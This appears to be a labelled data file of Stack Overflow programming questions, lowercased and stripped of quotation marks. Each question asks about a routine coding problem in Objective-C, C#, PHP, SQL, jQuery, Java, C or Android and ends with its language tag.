objective-c: how to create object instance with constructor that references arrays  i m trying to create an array of objects  but it s not working as expected. i have a person class with a name property and i m trying to instantiate person objects with the names from another array like the code below. instead of the names in the names array being used  the program outputs  (null) . so that means that it s not working as expected.    viewcontroller.m   <pre><code>names = [nsarray arraywithobjects:@ mike   @ john   @ jimmy   @ tim   nil]; personsarray = [[nsmutablearray alloc] initwithcapacity:4];  for (int i = 0; i &lt;= 4; i++) {     person *person = [[person alloc] initwithname:[names objectatindex:i]];      nslog(@ %@   [person name]); // outputs  (null)       [personsarray addobject:person]; } </code></pre>   person.m   <pre><code>#import  person.h   @implementation person  -(id)initwithname:(nsstring *)name {    if (self = [super init]) {       name = name;   }       return self;   }    @end </code></pre>   person.h   <pre><code>#import &lt;foundation/foundation.h&gt;  @interface person : nsobject  @property (nonatomic  strong) nsstring *name;  -(id)initwithname:(nsstring *)name;  @end </code></pre>   please help!,objective-c
send keystrokes to textbox  i have a derived textbox where i intercept the userinput to manipulate it. however i have to preserve the original typed input. so my idea was to hold an inner textbox within my derived class and send the user s input to that textbox before manipulating it.    the reason for this approach is that i do not want to take care of all this special actions like: typing something  ctrl+a  [del]  type something else  [backspace] and so on ...    however i do not know how to send a single keystroke (keycode  ascii  char) to a textbox. maybe you have another idea without an inner textbox at all  thank you!,c#
issues in scroll view  actually there are four buttons and there is sub buttons for each button.once i click first button the second button have to move down by giving space for sub buttons but its not working even after setting scroll view.       <pre><code>        bgsroll=[[uiscrollview alloc]init];         bgsroll.frame=cgrectmake(0  0  cgrectgetwidth(self.view.frame)  cgrectgetheight(self.view.frame));         bgsroll.userinteractionenabled=yes;         bgsroll.scrollenabled=yes;         // bgsroll.backgroundcolor=[uicolor graycolor];         bgsroll.showsverticalscrollindicator=yes;         bgsroll.contentsize=cgsizemake(200  2000);         [self.view addsubview:bgsroll];                 happybtn=[[uibutton alloc]init];             happybtn.frame=cgrectmake(mainview.frame.size.width*0.12  mainview.frame.size.height*0.1  cgrectgetwidth(self.view.frame)/1.5  40);             [happybtn settitle:@ happiness  forstate:uicontrolstatenormal];             [happybtn setbackgroundcolor:[uicolor colorwithred:0.400f green:0.737f blue:0.761f alpha:1.00f]];             [happybtn addtarget:self action:@selector(taphappy:) forcontrolevents:uicontroleventtouchupinside];             [bgsroll addsubview:happybtn];              happyview=[[uiview alloc]init];             happyview.frame=cgrectmake(mainview.frame.size.width*0.26 cgrectgetheight(happybtn.frame)*2.2  cgrectgetwidth(mainview.frame)/1.6  cgrectgetheight(mainview.frame)/3);             happyview.layer.cornerradius=8.0;             happyview.layer.borderwidth=0.5;             happyview.layer.bordercolor=[[uicolor bluecolor]cgcolor];             [bgsroll addsubview:happyview];               lettinggo=[[uibutton alloc]init];             lettinggo.frame=cgrectmake(happyview.frame.size.width*0.01 happyview.frame.size.height*0.1  cgrectgetwidth(happyview.frame)/1.05  50);             [lettinggo settitle:@ letting go of negativity  forstate:uicontrolstatenormal];             lettinggo.titlelabel.numberoflines=2;             lettinggo.titlelabel.adjustsfontsizetofitwidth=yes;             [lettinggo setbackgroundcolor:[uicolor colorwithred:0.400f green:0.737f blue:0.761f alpha:1.00f]];             [happyview addsubview:lettinggo];               livingpresent=[[uibutton alloc]init];             livingpresent.frame=cgrectmake(happyview.frame.size.width*0.01 lettinggo.frame.size.height*1.4  cgrectgetwidth(happyview.frame)/1.05  40);             [livingpresent settitle:@ living in the present  forstate:uicontrolstatenormal];             livingpresent.titlelabel.adjustsfontsizetofitwidth=yes;             [livingpresent setbackgroundcolor:[uicolor colorwithred:0.400f green:0.737f blue:0.761f alpha:1.00f]];             [happyview addsubview:livingpresent];             happyview.hidden=yes;               createbtn=[[uibutton alloc]init];             createbtn.frame=cgrectmake(mainview.frame.size.width*0.12  mainview.frame.size.height*0.5  cgrectgetwidth(self.view.frame)/1.5  40);             [createbtn settitle:@ happiness  forstate:uicontrolstatenormal];             [createbtn setbackgroundcolor:[uicolor colorwithred:0.400f green:0.737f blue:0.761f alpha:1.00f]];             [createbtn addtarget:self action:@selector(taphappy:) forcontrolevents:uicontroleventtouchupinside];             [bgsroll addsubview:createbtn];       -(void)taphappy:(id)selector{            happyview.hidden=!happyview.hidden;       } </code></pre>,ios
how to retain jquery appended values after page refresh   how to retain jquery appended values after page refresh  however every time i refresh the page  whatever that has been .append() disappears.   <pre><code>jquery(document).ready(function(){  jquery(window).load(function() {  var amt1 = jquery( form.cart_group ).find( .component.paged:eq(0) ).find( span.woocommerce-price-amount.amount ).text();  var single_amt = amt1.split( rs. ); var amount1 = single_amt[1];  jquery( .widget_shopping_cart_content li.mini_cart_item ).append( &lt;div&gt;domain: rs. +amount1+ &lt;/div&gt;&lt;br/&gt; );  }); }); </code></pre>,jquery
function defined with return type has no return statement  <pre><code>#include &lt;stdio.h&gt;  int main(void) {     printf( hello  world\n ); } </code></pre>   in the code above (originally shown as a <a href= https://i.stack.imgur.com/ikiaz.png  rel= nofollow noreferrer >picture</a>)  the return type for the <code>main</code> function is <code>int</code> but we are not returning any value in that function.  this function works even without the return statement.    how is that possible,c
retrieving the reference to the calling class instance from a method in c#  i have the following scenario in c#   <pre><code>public class classa { public int fielda = 1;  public classa() {     classb b=new classb();     b.execute(); } }   public class classb {     public execute()      {         //i can get the type of classa using         fieldinfo fi = stacktrace.getframe(1).getmethod().declaringtype     } } </code></pre>   the question is how do i get the reference of classa that invoked the execute in the instance of classb     i tried using reflection but could not find any way to do it.    any help would be much appreciated,c#
how to get back to application from browser  hi i am new to iphone  what i done is place a button and in button click event i call a web browser it works fine. but i cant able to get back to my application screen.by pressing the menu button of iphone ie will quit directly how can i get back to my application. pls help me thank u.,iphone
search method always null  i m having issues with a method i ve written to search a class called item. no matter what i search  it is returning null. i believe i m having issues with variable scope:   <pre><code>public item search(string itemsearch) {      item search = null;      for(item i : items){         if (i.getname() == itemsearch){         search = i;         }      }      return search;   } </code></pre>   the getname method returns the name attribute of the item. no matter what the item search is always null  i m guessing this is due to variable scope and it is not assigning in the for each loop  why is this method always null     thank you,java
using a scope variable to index a scope array in ng-repeat   i have a tree like structure  received as json from some php code which i wrote for my server.    the code is far to complex to post  so let s use an example:    a company has     <ul> <li>multiple departments  each of which has 0..n    <ul> <li>jobs  each of which has 0..n    <ul> <li>people</li> </ul></li> </ul></li> </ul>   so  i can find myself with something like     <pre><code>$scope.departments[1].jobs[1].people[1] $scope.departments[1].jobs[1].people[2] </code></pre>   etc    i have <code>$scope</code> variable for the current user-selected department  job and person.    my problem is where i want to use an <code>ng-repeat</code> of the jobs in the html view for the jobs.    the statement    <pre><code>&lt;div ng-repeat= job in departments[{{departmentid}}].jobs&gt; </code></pre>   gives <code>error: [$parse:syntax]</code>  as does     <pre><code>&lt;div ng-repeat= job in departments[$scope.departmentid].jobs&gt; </code></pre>   (which i tried in desperation).    what is the correct syntax     i am wondering if i will need to try    <pre><code>&lt;div ng-repeat= job in getjobsforcurrentdepartment()&gt;   </code></pre>   since <code>$scope.departmentid</code> would be in scope in my controller  but is not in the html view for the departments.,angularjs
android - stop phonestatelistener / br / unregisterreceiver  i have a problem to stop a phonestatelistener. i tried to use unregisterreceiver() but it didn t work. i did read the site and saw that i have to use listen.non but i am unable to do it.<br>    my questions are the following : <br> 1 - where do i have to put my  telephony.listen(listener  phonestatelistener.listen_none);  in my code  <br> 2 - do i have to use unregisterreceiver  <br>    my code is not easy to explain and quite long so i won t give all my code but just the main view.<br>    <strong>in fact : i start a service from timer. this service register a br</strong>    /* first one */   <pre><code>public class tmrsettingscheck extends broadcastreceiver  {   public void settimer(long milli)    { // setrepeating }     public void onreceive(context context  intent intent)             {     // try to know if we have to start or stop the service     context.startservice(new intent(context  svccall.class));       or     context.stopservice(new intent(context  svccall.class));    }  } </code></pre>   /* second one */   <pre><code>public class svccall extends service  {   private broadcastreceiver br_call;    public void oncreate()    { // creation }    public int onstartcommand(intent intent  int flags  int startid)    {       // register the broadcast receiver     intentfilter filter = new intentfilter();     filter.addaction(action_out);     filter.addaction(action_in);     this.br_call = new callbr(this._context);     this.registerreceiver(this.br_call  filter);     return (start_sticky);    }    public class callbr extends clscallreceiver    {     public callbr(context context)        { // constructor }      protected void onincomingcallstarted(string number  date start)       { // xyz      }      protected void onincomingcallended(string number  date start  date end)       { // xyz }      protected void onoutgoingcallstarted(string number  date start)       { // xyz }      protected void onoutgoingcallended(string number  date start  date end)       { // xyz }      protected void onmissedcall(string number  date start)       { // xyz }    }    public ibinder onbind(intent intent)    { return null; }    public void ondestroy()   {    this.unregisterreceiver(this.br_call);              super.ondestroy();    }   } </code></pre>   /* third one */   <pre><code>public abstract class clscallreceiver extends broadcastreceiver   {   public static phonecallstartenddetector listener;   string outgoingsavednumber;   protected context savedcontext;   telephonymanager telephony;    public void onreceive(context context  intent intent)     {     savedcontext = context;     if (listener == null)      listener = new phonecallstartenddetector();      if (intent.getaction().equals( android.intent.action.new_outgoing_call ))       {       listener.setoutgoingnumber(intent.getextras().getstring( android.intent.extra.phone_number ));       return;      }     this.telephony = (telephonymanager)context.getsystemservice(context.telephony_service);      this.telephony.listen(listener  phonestatelistener.listen_call_state);    }    public class phonecallstartenddetector extends phonestatelistener     {     public phonecallstartenddetector()       { // xyz }      public void oncallstatechanged(int state  string incomingnumber)       { // xyz }        }    protected abstract void onincomingcallstarted(string number  date start);   protected abstract void onoutgoingcallstarted(string number  date start);   protected abstract void onincomingcallended(string number  date start  date end);    protected abstract void onoutgoingcallended(string number  date start  date end);   protected abstract void onmissedcall(string number  date start);     } </code></pre>,android
bigdecimal remainder method may return negative value  why   under what circumstances bigdecimal s remainder method would return negative value     it is noted in the javadoc <a href= https://docs.oracle.com/javase/7/docs/api/java/math/bigdecimal.html#remainder(java.math.bigdecimal)  rel= nofollow >here</a>:   <blockquote>    the remainder is given by <code>this.subtract(this.dividetointegralvalue(divisor).multiply(divisor))</code>. note that this is not the modulo operation (the result can be negative).  </blockquote>,java
extra column condition in mysql case statement not working  i have a condition where a field in mysql can have the same value (a port number)  but can represent two different devices  based on a host id.  i ve got the following  but it doesn t seem to work:   <pre><code>select s.name as  ingester       d.dev_used as  size       cast(case d.namespace_port         (when 4015 and d.das_station in(11 22 23)) then  bpn1          (when 4015 and d.das_station not in(11 22 23)) then  sjc12          when 4016 then  sjc17          when 4017 then  sjc18          when 4018 then  sjc19          when 4019 then  sjc5          when 4020 then  sjc6          when 4021 then  sjc7          when 4022 then  sjc8          when 4023 then  sjc9          when 4024 then  sjc10          when 4025 then  sjc11          when 4026 then  sjc20          when 4027 then  sjc13          when 4028 then  sjc14          when 4029 then  sjc15          when 4030 then  sjc16      end as char) as namespace      date_format(d.date_attached   %b-%e-%y %l:%i %p ) as  date_attached       date_format(d.replication_started   %b-%e-%y %l:%i %p ) as  date_started       date_format(d.replication_completed   %b-%e-%y %l:%i %p ) as  date_finished       date_format(d.date_detached   %b-%e-%y %l:%i %p ) as  date_detached  from   das.stations s         das.device d where  d.das_station = s.id and svcid =  trrq  order  by d.date_attached desc </code></pre>   reading <a href= https://stackoverflow.com/questions/37460225/mysql-case-statement-multiple-conditions >mysql case statement multiple conditions</a>  it seems this should be possible  but when i try and execute the query  i get the following:   <pre><code>error 1064 (42000): you have an error in your sql syntax; check the manual that corresponds to your mysql server version for the right syntax to use near  4015 and d.das_station in(11 22 23)) then  bpn1   4015 and d.das_station not in (1  at line 4 </code></pre>   is it not possible to have an and condition within a case statement like this     edit:  it seems pasting into mysql doesn t like the query   <pre><code>mysql&gt; select s.name as  ingester       -&gt;     d.dev_used as  size       -&gt;     cast(case d.namespace_port     -&gt; display all 891 possibilities  (y or n)     -&gt;  (4015 and d.das_station in (11 22 23)) then  bpn1      -&gt; display all 891 possibilities  (y or n)     -&gt;  (4015 and d.das_station not in (11 22 23)) then  sjc12      -&gt;         when 4016 then  sjc17      -&gt;         when 4017 then  sjc18      -&gt;         when 4018 then  sjc19      -&gt;         when 4019 then  sjc5      -&gt;         when 4020 then  sjc6      -&gt;         when 4021 then  sjc7      -&gt;         when 4022 then  sjc8      -&gt;         when 4023 then  sjc9      -&gt;         when 4024 then  sjc10      -&gt;         when 4025 then  sjc11      -&gt;         when 4026 then  sjc20      -&gt;         when 4027 then  sjc13      -&gt;         when 4028 then  sjc14      -&gt;         when 4029 then  sjc15      -&gt;         when 4030 then  sjc16      -&gt;     end as char) as namespace      -&gt;     date_format(d.date_attached   %b-%e-%y %l:%i %p ) as  date_attached       -&gt;     date_format(d.replication_started   %b-%e-%y %l:%i %p ) as  date_started       -&gt;     date_format(d.replication_completed   %b-%e-%y %l:%i %p ) as  date_finished       -&gt;     date_format(d.date_detached   %b-%e-%y %l:%i %p ) as  date_detached      -&gt; from   das.stations s      -&gt;        das.device d     -&gt; where  d.das_station = s.id     -&gt; and svcid =  trrq      -&gt; order  by d.date_attached desc </code></pre>   if i remove the line wraps  it seems to paste correctly  however still isn t respecting the second field:   <pre><code>mysql&gt; select s.name as  ingester      d.das_station   d.dev_used as  size       cast(case d.namespace_port when (4015 and d.das_station = 11) then  bpn1  when (4015 and d.das_station not in(11 22 23)) then  sjc12  when 4016 then  sjc17  when 4017 then  sjc18  when 4018 then  sjc19  when 4019 then  sjc5  when 4020 then  sjc6   when 4021 then  sjc7  when 4022 then  sjc8   when 4023 then  sjc9  when 4024 then  sjc10  when 4025 then  sjc11  when 4026 then  sjc20  when 4027 then  sjc13  when 4028 then  sjc14  when 4029 then  sjc15  when 4030 then  sjc16  end as char) as namespace      date_format(d.date_attached   %b-%e-%y %l:%i %p ) as  date_attached       date_format(d.replication_started   %b-%e-%y %l:%i %p ) as  date_started       date_format(d.replication_completed   %b-%e-%y %l:%i %p ) as  date_finished       date_format(d.date_detached   %b-%e-%y %l:%i %p ) as  date_detached  from   das.stations s         das.device d where  d.das_station = s.id and svcid =  trrq  order  by d.date_attached desc; +---------------+-------------+------+-----------+---------------------+--------------+---------------------+---------------------+ | ingester      | das_station | size | namespace | date_attached       | date_started | date_finished       | date_detached       | +---------------+-------------+------+-----------+---------------------+--------------+---------------------+---------------------+ | ca-adsdas2-p1 |          11 | null | null      | jan-20-2016 1:42 pm | null         | null                | jan-21-2016 3:16 pm | | ca-adsdas2-p1 |          11 | null | null      | dec-21-2015 7:25 pm | null         | dec-26-2015 9:22 pm | jan-20-2016 1:33 pm | +---------------+-------------+------+-----------+---------------------+--------------+---------------------+---------------------+ </code></pre>   if das_station = 11  it should say  bpn1  in namespace  not null.,mysql
reading specific value from a text file  i am trying to read a specific value from a text file. my text file looks like this:   <pre><code>token = 12345 data = new ... </code></pre>   i want to capture the value of a token. my php is as follows:   <pre><code>$myfile =  ../data/input.txt ; $lines = file($myfile);//file in to an array echo $lines[0]; //line 1 preg_replace( /[^0-9]/     $lines[0]); </code></pre>   the output is   <blockquote>    token = 12345  </blockquote>   but i want to capture just <strong>12345</strong>. after capturing the number   i am planning to use it in the path..but its giving aspace before the number.please go through the code below and let me know  if you have any suggestions.   <pre><code>$myfile =  ../data/input.txt ; $lines = file($myfile);//file in to an array list($token  $number) = explode( =   $lines[0]); $dir =  c:/wamp/.../$number/profit/jan2010 ; if ($handle = opendir($dir)) {  while (false !== ($file = readdir($handle))) {   if ($file !=  .  &amp;&amp; $file !=  .. ) {    echo  &lt;a href= .$dir. / .$file. &gt;$file&lt;/a&gt;&lt;br/&gt; ;   }  } closedir($handle); </code></pre>   my path should be .../12345/profit/jan2010. by using the above code   i am getting ..../ 12345/profit/jan2010  (a space before 12345). can i use $number in the path  thanks in advance,php
php - displaying just php files from a directory and sub directories  this is my first project using php and i ve been stuck on this for almost 2 days now! i want to get all my php files from a directory and any sub directories and display them in iframes. i ve managed to get it to display all the files in the directory  but i only want the php files  please see below. thanks in advance for any help/advice.   <pre><code>&lt; php $path[] =  work/* ;  while(count($path) != 0) {  $v = array_shift($path); foreach(glob($v) as $item) {     if (is_dir($item))         $path[] = $item .  /* ;     elseif (is_file($item))     {          printf(    &lt;iframe width=420 height=150 frameborder=0 src= $item &gt;&lt;/iframe&gt;     ($file) $target);      } } }  &gt; </code></pre>,php
creating a readonly version of poco objects in obj-c   suppose i have a simple dto class like this:   <pre><code>@interface mynugget @property (nonatomic  copy) nsstring *color; @end  @implementation mynugget // automatic @synthesize @end </code></pre>   and i then later want to store this object in <em><strong>another class</strong></em> in a way such that it is not modifiable (that is  make the <code>color</code> property readonly via a <code>- (void)freeze</code> or something.    what is the best way to accomplish this short of writing my own setters,objective-c
storing strings using fgets  i have a file which contains information about films like this:   <pre><code>film code name year of release movie length(in minutes) the film producer </code></pre>   i have to read this info from a file and store that info into pointers. my code so far:   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt;  typedef struct filmiab {     int koodpk;     char *nimed;     int aasta;     int kestus;     char *rezi; } filmiab;  int main() {     filmiab *db;      file *f1;     f1 = fopen( filmid.txt    r );      db-&gt;nimed = (char*)malloc(sizeof(db-&gt;nimed) * sizeof(char));     db-&gt;rezi = (char*)malloc(sizeof(db-&gt;rezi) * sizeof(char));      while(1)     {         fscanf(f1   %d    &amp;db-&gt;koodpk);         fgets(db-&gt;nimed  100  f1);         db-&gt;nimed = (char*)realloc(db-&gt;nimed  sizeof(char) * sizeof(db-&gt;nimed)); //gets more memory to store the strings         fscanf(f1   %d %d    &amp;db-&gt;aasta  &amp;db-&gt;kestus);         fgets(db-&gt;rezi  100  f1);         db-&gt;rezi = (char*)realloc(db-&gt;rezi  sizeof(char) * sizeof(db-&gt;rezi));          printf( filmi kood: %d\nfilmi nimi: %saasta: %d\nkestus minutites: %d\nfilmi rezis66r: %s\n           db-&gt;koodpk  db-&gt;nimed  db-&gt;aasta  db-&gt;kestus  db-&gt;rezi);         printf( \n );     }      return 0; } </code></pre>   it just goes into an infinte loop and only prints the last 5 lines. i know that when using fgets it replaces all the strings with the last 5 lines. but what can i do so it would store all the info and that so i could print them out (or just use them) in another function. and why does it go into an infinite loop      edit: i have to use only the pointers that are created in the struct.    edit2: now both these lines     fgets(db->nimed  100  f1);     fgets(db->rezi  100  f1); store the required info and the blank spaces. what to do so it only stores the names of the films and the producers.,c
jquery $.ajax php side post serialized form  sorry in advance  i know there are a few discussions about this topic  i am just new to this and have exhausted myself trying to learn it  so i must ask.    problem: i want to send my data in form to php file  this is what i have on js side    after form validation..   <pre><code>else {           $.ajax({         type:  post           url:  entry.php           cache: false          data: $( .contact_form ).serializearray()          success: function (data) {             if (data ==  error ) {                 $( .success_box ).hide();                 $( .error_box ).show();             }             else {                 $( #sname ).val(  );                 $( #email ).val(  );                 $( #title ).val(  );                 $( #message ).val(  );                 $( #photo1 ).val(  );                 $( #photo2 ).val(  );                 $( .error_box ).hide();                 $( .success_box ).show();             }         }     }); } </code></pre>   my html form has name and id s = sname email title message    i dont know if my javascript is currently sending the data to my php file because i don t know how to access these values on the php page  also since its a js/ajax request i believe i don t need a action for the html form  like i don t call my php file on the html  just on the js  please correct me if this is wrong.    thanks,jquery
sql case when using  as   i am aiming to create a report for our stock system  to show whether we are <strong>in</strong> stock or <strong>out</strong> of stock of products a b &amp; c. our stock is held in two columns named <code>physical_qty</code> and <code>allocated_qty</code>    using this query  i am able to subtract <code>physical_qty</code> from <code>allocated_qty</code> and show it as <code>stock</code>   <pre><code>select         warehouse  product  description  physical_qty - allocated_qty as stock from             scheme.stockm where         (warehouse =  01 ) and (product in ( a    b    c )) </code></pre>   this gives me a numerical value of the amount of stock that we have available to sell.    how can i evaluate if stock is &lt; 1 show <strong>out</strong> otherwise show <strong>in</strong>     thanks,sql
about the size of unsigned char type in c++  the standard c++ [3.9.1-1] says that   <blockquote>    for unsigned character types  all possible bit patterns of the value representation represent numbers.   </blockquote>   the standard [18.3.2.4-(comment 197)] also says that the maximum value of unsigned char are equivalent to <code>uchar_max</code> in c  which is defined as 255 in c standard [5.2.4.2.1]. so does this mean the size of unsigned char type in c++ is exactly 8 bits,c++
making the column of the datatable to accept only numeric values  there is a class called <code>displaytable</code>. later binding to some observation collection and then populating the values to the <code>datatable</code>.    i need the value column of the table should accept only integers  decimals  double.   <pre><code>public class displaytable {     public string analytename { get; set; }     public string units { get; set; }     [regularexpression(@ 0-9+(.)   errormessage= this field accept only numeric values )]     public float referencevalue { get; set; }  }   //binding the class to collection  public observablecollection&lt;displaytable&gt; list { get; set; }  // creating an istance to the class displaytable d = new displaytable();  d.analytename = c  d.units=  mg   this.list.add(d)    table.columns.add( analyte name );   table.columns.add( units );   table.columns.add( value );         foreach (var item in this.list)       {           drn = table.newrow();           int col = 0;           drn[col] = item.analytename ;           drn[col + 1] = item.units;           drn[col + 2] = item.referencevalue;           table.rows.add(drn);           table.acceptchanges();      }    datagrid.itemssource = table.defaultview; </code></pre>,c#
daisy chain function calls (method 1 calls method 2  method 2 calls method 3)  i have a function that calls another function. i want the second function to call a third function. they all then return to the first function and finish the code;   <pre><code>-(void) select {   //do code   [self drawmap]; }  -(void) drawmap {   //do code   [self performselector:@selector(showactionsheet) withobject:nil afterdelay:2]; }  -(void) showactionsheet {   //do code } </code></pre>   but the showactionsheet function is not being called  its not firing.    edit: but if i change    <pre><code>[self performselector:@selector(showactionsheet) withobject:nil afterdelay:2];  </code></pre>   to   <pre><code>[self showactionsheet]; </code></pre>   it works fine. but i want to delay the showing of an action sheet a few seconds so the user can see the changes to the map.,objective-c
c++ global object variable memory release  is it safe to call <code>test(s2)</code>    will the memory of <code>test(s1)</code> be released  if not  any suggestion    <pre><code>#include &lt;string&gt; #include &lt;nlohmann/json.hpp&gt;  nlohmann::json global;  void test(const std::string&amp; js_string){     global = nlohmann::json::parse(js_string); }  int main(){     std::string s1 =  true  s2 =  [] ;     test(s1);     test(s2); // is there a memory leak here  if so  how to free the memory      work_loop();     return 0; } </code></pre>,c++
uitabviewcontroller in uisplitviewcontroller  i create a project with master-detail application but i want to replace the master to tab bar controller。just like this: <a href= https://i.stack.imgur.com/jja3i.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/jja3i.jpg  alt= the master view is a tab bar controller ></a>    how to realize this,ios
how do i combine objective-c classes and  main  into one file  (codeeval submission)  codeeval accepts objective-c programs in one main .m file  but my answer relies on the use of a helper class to do recursive method calls that i ve defined. the helper class has a seperate .h and .m file  so i have 3 files total (including my main .m file).  how do i submit them together as one file     my first thought  was to move the work the methods do over to main  but i cant do that because one of them is recursive and needs to be able to call itself. it doesnt appear that i can define a method outside of a class in objective-c either.    i don t want to re-write my program into main  without recurision  because that would be bad-form.    is this a limitation to codeeval s objective-c submissions or is there another way to do this,objective-c
animation to uiimageview with different types using objective-c  i need to give different types of animation in uiimageview.    types of animation :- 1.shake 2.swing 3.bounce 3.expand 4.hinge    i tried with this code:   <pre><code>cabasicanimation* anim = [cabasicanimation animationwithkeypath:@ transform.rotation ];    [anim settovalue:[nsnumber numberwithfloat:0.0f]];    [anim setfromvalue:[nsnumber numberwithdouble:m_pi/16]]; // rotation angle    [anim setduration:0.1];    [anim setrepeatcount:nsuintegermax];    [anim setautoreverses:yes];    [[imageview layer] addanimation:anim forkey:@ iconshake ]; </code></pre>   but in this code what is the key:@ iconshake  and also @ transform.rotation     how to do,ios
ios detecting photo capture from default camera app in your app from background  i want to be able to detect the camera capture event that happens from the default ios camera app when my app is running in the background to do some processing.     i have seen facebook moments doing it. it throws notifications on capture after being in the suspended state for hours well after the 180 seconds that apple allows any app to stay active at max after being put in background. also they don t take location permissions. they don t do it based on silent apns because it works without internet as well.    i have already explored photolibrarychangeobserver in the photos.framework but it works only when the app is brought into foreground.,ios
options in tables with data from database  this is a tough one to explain...    i m developing a restaurant system where the user add the dishes available to sell  but the user has to have an option to edit/delete after the dish was registered.    so what i thought was: k  gonna make a table fetching the data from the db and in the last column put some options like edit/delete... here is the code for better understanding:   <pre><code>foreach ($result as $row){                      echo  &lt;tr&gt; ;     echo  &lt;td&gt; .$row[ name ]. &lt;/td&gt; ;     echo  &lt;td&gt; .$row[ price ]. &lt;/td&gt; ;     echo  &lt;td&gt; .$row[ description ]. &lt;/td&gt; ;     echo  &lt;td&gt; . &lt;img src= img/icons/16/delete.png  alt= delete  height= 16  width= 16 &gt; . &lt;/td&gt; ;     echo  &lt;/tr&gt; ;               } </code></pre>   like you ve saw the delete option has already there (with no function/action yet) here is the thing... i could put a link to a file in href= delete.php  but when a user clicks on this link will lead them to the delete.php page  leaving the administration page... i would like that when the user clicks the delete img  worked as/similar ajax. i don t want the user exit the page....    sorry for bad english (not my mothertongue)  if you guys want more details just ask. ps: new php programmer thanks in advance.,php
add dynamic action to $resource  is there a way to make one of the $resource actions(e.g. isarray or cache) dynamic     html   <pre><code>terminalsresource.findterminals({cached: true}  function (data) {                         $scope.terminals = data;                     }  function (response) { </code></pre>   js   <pre><code>//where to add dynamic properties      return $resource( rest/terminals   {usecache: @cached }  {         /**          * @method findterminals          * find all terminals          * @return {array} terminals          */         findterminals: { method:  get   isarray: true  cache: usecache}      }); </code></pre>   above code doesn t work  but it shapes an image of what i wan t to do,angularjs
printing an nsstring  what s the correct way to print an nsstring in objective-c  a lot of examples use nslog()  but according to the documentation:   <blockquote>    nslog is a foundationkit function for printing debug statements to the console.   ...   nslog works basically like:     fprintf(stderr  format_string  args ...);  </blockquote>   which to me is a bit like the _trace macro in win32/c++. i don t want to print to stderr  i want to print to stdout.  there are people who suggest using printf() as follows:   <pre><code>printf( %s   [str cstringusingencoding:nsutf8stringencoding]); </code></pre>   but this seems like an extra level on indirection to get the nsstring printed  and it doesn t  feel  like the solution.,objective-c
form validation for the text boxes in case of dynamic rows  how to do the form validation for text boxes and date fields if they are empty in case of dynamic rows.,jquery
settext - cannot resolve method  pretty sure this is a stupid question but i can t figure this out.    i am trying to get an integer returned by a datepicker to a string. this code works where <code>day</code> is the integer of interest   <pre><code>datebutton = (button) findviewbyid(r.id.datebutton); datebutton.settext((integer.tostring(day)); </code></pre>   this code gives me the error that cannot resolve method settext   <pre><code>string yearstring =   ; yearstring.settext(integer.tostring(year));  </code></pre>   i don t understand why i cant convert the int to a string unless i use a view,android
what could be causing these strange outputs in hexadecimal to binary converter (c++ code)   i have been struggling trying to convert hexadecimal to binary. i was assigned to write a piece of code that calculates the output of a full-adder circuit. part of the assignment is determining the base in which the numbers are being entered by the user. i have been testing whether my code was working or not and i have noticed something rather odd in hexadecimal converter.    if i enter any character that has a higher value than  f  returns the expected  not a hexadecimal  error.    if i enter any character between  8  and  f (both are included) i get the expected  cannot represent with 3 binary digits  error.    i also get the expected binary values for all the numbers except  2  and  3 ... i don t know what could be causing this unexpected behaviour. any help is appreciated. you can try to run it yourself in order to understand the code better but here is my output:   <pre><code>0 0 1 1 2 8 3 9 4 100 5 101 6 110 7 111 8-f cannot represent with 3 bits. &gt;f not a hexadecimal. </code></pre>   here is the code:   <pre><code>#include&lt;stdio.h&gt; #include &lt;ctype.h&gt; int main(){     int optionchosen binarynum reset;     char hexadecimal;     while (true){         printf( please enter input:  );         fflush(stdin); //this line clears the input buffer          //note: using fflush(stdin) is undefined and is told to be avoided whenever possible         scanf( %c  &amp;hexadecimal);         hexadecimal=toupper(hexadecimal);         if (hexadecimal&gt; f ){             //print an error message if the option chosen by the user is out of range.             printf( value out of range! please enter a valid value (0-f)\n );         }         else{             reset=0;//this is placed here so that the program does not ask for input all the time             switch (hexadecimal){//using a switch to convert hexadecimal to binary                 case  0 :                     binarynum=000;                     break;                 case  1 :                     binarynum=001;                     break;                 case  2 :                     binarynum=010;                     break;                 case  3 :                     binarynum=011;                     break;                 case  4 :                     binarynum=100;                     break;                 case  5 :                     binarynum=101;                     break;                 case  6 :                     binarynum=110;                     break;                 case  7 :                     binarynum=111;                     break;                 default:                     //return error message if default value is entered.                     reset=1;//this makes sure the user is asked to enter input again.                     printf( hexadecimal %c cannot be represented with 3 bits!please try again \n  hexadecimal);             }             if (reset==0){//this breaks the loop and continues with the rest of the code if the user value is in range                 printf( binarynum = %d\n  binarynum);             }         }     }     return 0; } </code></pre>,c++
mysql rollback how does mysql rollback works internally  how does mysql rollback works internally   does it keep log of each query result to rollback it,mysql
i want to return in single row in this query but it returns two row whats tha my mistake  <pre><code>select (case when di.item_type =  in_list  and di.item_method =  item_category  and dc.condition_method = condition_time   then  timediscount  else 0 end) as timediscount  (case when di.item_type =  in_list   and di.item_method =  item_category  and dc.condition_method = condition_date   then  datediscount  else 0 end) as datediscount  from srampos_discount_item_list dil join srampos_discount_items di on di.id = dil.discount_item_id join srampos_discounts d on d.id = di.discount_id join srampos_discount_conditions dc on d.id = dc.discount_id where dil.item_id =1 </code></pre>   thanks  sample records    <pre><code> timediscount   ||  datediscount        timediscount  || 0      0          || datediscount </code></pre>   i want to return  to remove 0 and merge in one row     please help me ths...,mysql
query to limit repeated values in columns - sql  hi there wondering if anyone can help me  this might not be the best description but i will try my best. i have a table which has a column that has many repeating values.   <pre><code>col1|col2|col3 1    data data 1    data data 1    data data 2    data data 2    data data </code></pre>   i want a query that returns only 1 of the repeated values of col1. so the query does this.   <pre><code>col1 1 2 </code></pre>   is this even possible and how would i be able to do it,sql
